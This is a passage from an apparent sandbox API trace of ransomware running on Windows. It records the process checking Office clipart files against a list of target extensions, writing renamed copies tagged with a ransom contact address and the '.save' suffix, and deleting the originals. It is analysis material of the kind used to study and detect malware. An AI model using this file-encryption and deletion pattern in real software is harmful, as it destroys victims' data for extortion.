lpString2=".BMP") returned -1 [0209.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0209.484] lstrlenW (lpString=".jpg") returned 4 [0209.484] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0209.484] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0209.484] lstrlenW (lpString="J0103812.WMF") returned 12 [0209.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0209.485] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f2ff14 | out: lpFileSize=0x2f2ff14*=5908) returned 1 [0209.485] CloseHandle (hObject=0x380) returned 1 [0209.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf")) returned 0x220 [0209.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0209.485] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.485] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0209.487] GetLastError () returned 0x0 [0209.487] ReadFile (in: hFile=0x380, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x1714, lpOverlapped=0x0) returned 1 [0209.488] WriteFile (in: hFile=0x3a0, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0x1720, lpOverlapped=0x0) returned 1 [0209.489] ReadFile (in: hFile=0x380, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.489] WriteFile (in: hFile=0x3a0, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.490] SetEndOfFile (hFile=0x3a0) returned 1 [0209.490] CloseHandle (hObject=0x3a0) returned 1 [0209.490] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.490] SetEndOfFile (hFile=0x380) returned 1 [0209.491] CloseHandle (hObject=0x380) returned 1 [0209.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0209.491] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf")) returned 1 [0209.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0209.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0209.492] lstrlenW (lpString=".doc") returned 4 [0209.492] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.492] lstrlenW (lpString=".docx") returned 5 [0209.492] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0209.492] lstrlenW (lpString=".pdf") returned 4 [0209.492] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.492] lstrlenW (lpString=".xls") returned 4 [0209.492] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.492] lstrlenW (lpString=".xlsx") returned 5 [0209.493] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0209.493] lstrlenW (lpString=".ppt") returned 4 [0209.493] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0209.493] lstrlenW (lpString=".zip") returned 4 [0209.493] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.493] lstrlenW (lpString=".rar") returned 4 [0209.493] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.493] lstrlenW (lpString=".bz2") returned 4 [0209.493] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.493] lstrlenW (lpString=".7z") returned 3 [0209.493] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0209.493] lstrlenW (lpString=".dbf") returned 4 [0209.493] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0209.493] lstrlenW (lpString=".1cd") returned 4 [0209.493] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0209.493] lstrlenW (lpString=".jpg") returned 4 [0209.493] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0209.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0209.493] lstrlenW (lpString=".doc") returned 4 [0209.494] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.494] lstrlenW (lpString=".docx") returned 5 [0209.494] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0209.494] lstrlenW (lpString=".pdf") returned 4 [0209.494] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.494] lstrlenW (lpString=".xls") returned 4 [0209.494] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.494] lstrlenW (lpString=".xlsx") returned 5 [0209.494] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0209.494] lstrlenW (lpString=".ppt") returned 4 [0209.494] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0209.494] lstrlenW (lpString=".zip") returned 4 [0209.494] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.494] lstrlenW (lpString=".rar") returned 4 [0209.494] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.494] lstrlenW (lpString=".bz2") returned 4 [0209.494] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.494] lstrlenW (lpString=".7z") returned 3 [0209.494] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0209.494] lstrlenW (lpString=".dbf") returned 4 [0209.494] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0209.494] lstrlenW (lpString=".1cd") returned 4 [0209.494] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0209.495] lstrlenW (lpString=".jpg") returned 4 [0209.495] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.495] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0209.495] lstrlenW (lpString="J0103850.WMF") returned 12 [0209.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0209.495] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f2ff14 | out: lpFileSize=0x2f2ff14*=23596) returned 1 [0209.495] CloseHandle (hObject=0x380) returned 1 [0209.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf")) returned 0x220 [0209.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0209.496] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.496] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0209.497] GetLastError () returned 0x0 [0209.497] ReadFile (in: hFile=0x380, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x5c2c, lpOverlapped=0x0) returned 1 [0209.499] WriteFile (in: hFile=0x3a0, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0x5c30, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0x5c30, lpOverlapped=0x0) returned 1 [0209.917] ReadFile (in: hFile=0x380, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.917] WriteFile (in: hFile=0x3a0, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.917] SetEndOfFile (hFile=0x3a0) returned 1 [0209.918] CloseHandle (hObject=0x3a0) returned 1 [0209.918] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.918] SetEndOfFile (hFile=0x380) returned 1 [0209.919] CloseHandle (hObject=0x380) returned 1 [0209.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0209.919] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf")) returned 1 [0209.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0209.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0209.920] lstrlenW (lpString=".doc") returned 4 [0209.920] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.920] lstrlenW (lpString=".docx") returned 5 [0209.920] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0209.920] lstrlenW (lpString=".pdf") returned 4 [0209.920] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.920] lstrlenW (lpString=".xls") returned 4 [0209.920] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.920] lstrlenW (lpString=".xlsx") returned 5 [0209.920] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0209.920] lstrlenW (lpString=".ppt") returned 4 [0209.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0209.920] lstrlenW (lpString=".zip") returned 4 [0209.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.920] lstrlenW (lpString=".rar") returned 4 [0209.920] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.920] lstrlenW (lpString=".bz2") returned 4 [0209.920] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.920] lstrlenW (lpString=".7z") returned 3 [0209.920] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0209.921] lstrlenW (lpString=".dbf") returned 4 [0209.921] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0209.921] lstrlenW (lpString=".1cd") returned 4 [0209.921] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0209.921] lstrlenW (lpString=".jpg") returned 4 [0209.921] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0209.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0209.921] lstrlenW (lpString=".doc") returned 4 [0209.921] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.921] lstrlenW (lpString=".docx") returned 5 [0209.921] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0209.921] lstrlenW (lpString=".pdf") returned 4 [0209.921] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.921] lstrlenW (lpString=".xls") returned 4 [0209.921] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.921] lstrlenW (lpString=".xlsx") returned 5 [0209.921] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0209.921] lstrlenW (lpString=".ppt") returned 4 [0209.921] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0209.921] lstrlenW (lpString=".zip") returned 4 [0209.921] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.921] lstrlenW (lpString=".rar") returned 4 [0209.921] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.921] lstrlenW (lpString=".bz2") returned 4 [0209.921] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.922] lstrlenW (lpString=".7z") returned 3 [0209.922] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0209.922] lstrlenW (lpString=".dbf") returned 4 [0209.922] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0209.922] lstrlenW (lpString=".1cd") returned 4 [0209.922] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0209.922] lstrlenW (lpString=".jpg") returned 4 [0209.922] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.922] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0209.922] lstrlenW (lpString="J0105266.WMF") returned 12 [0209.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0209.922] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f2ff14 | out: lpFileSize=0x2f2ff14*=5908) returned 1 [0209.923] CloseHandle (hObject=0x380) returned 1 [0209.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf")) returned 0x220 [0209.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0209.923] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.923] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0209.924] GetLastError () returned 0x0 [0209.924] ReadFile (in: hFile=0x380, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x1714, lpOverlapped=0x0) returned 1 [0209.925] WriteFile (in: hFile=0x3a0, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0x1720, lpOverlapped=0x0) returned 1 [0209.927] ReadFile (in: hFile=0x380, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.927] WriteFile (in: hFile=0x3a0, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.927] SetEndOfFile (hFile=0x3a0) returned 1 [0209.927] CloseHandle (hObject=0x3a0) returned 1 [0209.927] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.927] SetEndOfFile (hFile=0x380) returned 1 [0209.928] CloseHandle (hObject=0x380) returned 1 [0209.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0209.928] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf")) returned 1 [0209.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0209.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0209.929] lstrlenW (lpString=".doc") returned 4 [0209.929] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.929] lstrlenW (lpString=".docx") returned 5 [0209.929] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0209.929] lstrlenW (lpString=".pdf") returned 4 [0209.929] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.929] lstrlenW (lpString=".xls") returned 4 [0209.929] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.929] lstrlenW (lpString=".xlsx") returned 5 [0209.929] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0209.929] lstrlenW (lpString=".ppt") returned 4 [0209.929] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0209.929] lstrlenW (lpString=".zip") returned 4 [0209.929] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.929] lstrlenW (lpString=".rar") returned 4 [0209.929] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.929] lstrlenW (lpString=".bz2") returned 4 [0209.930] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.930] lstrlenW (lpString=".7z") returned 3 [0209.930] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0209.930] lstrlenW (lpString=".dbf") returned 4 [0209.930] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0209.930] lstrlenW (lpString=".1cd") returned 4 [0209.930] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0209.930] lstrlenW (lpString=".jpg") returned 4 [0209.930] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0209.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0209.930] lstrlenW (lpString=".doc") returned 4 [0209.930] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.930] lstrlenW (lpString=".docx") returned 5 [0209.930] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0209.930] lstrlenW (lpString=".pdf") returned 4 [0209.930] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.930] lstrlenW (lpString=".xls") returned 4 [0209.930] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.930] lstrlenW (lpString=".xlsx") returned 5 [0209.930] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0209.930] lstrlenW (lpString=".ppt") returned 4 [0209.930] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0209.930] lstrlenW (lpString=".zip") returned 4 [0209.930] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.930] lstrlenW (lpString=".rar") returned 4 [0209.931] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.931] lstrlenW (lpString=".bz2") returned 4 [0209.931] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.931] lstrlenW (lpString=".7z") returned 3 [0209.931] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0209.931] lstrlenW (lpString=".dbf") returned 4 [0209.931] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0209.931] lstrlenW (lpString=".1cd") returned 4 [0209.931] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0209.931] lstrlenW (lpString=".jpg") returned 4 [0209.931] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.931] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0209.931] lstrlenW (lpString="J0105272.WMF") returned 12 [0209.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf"), 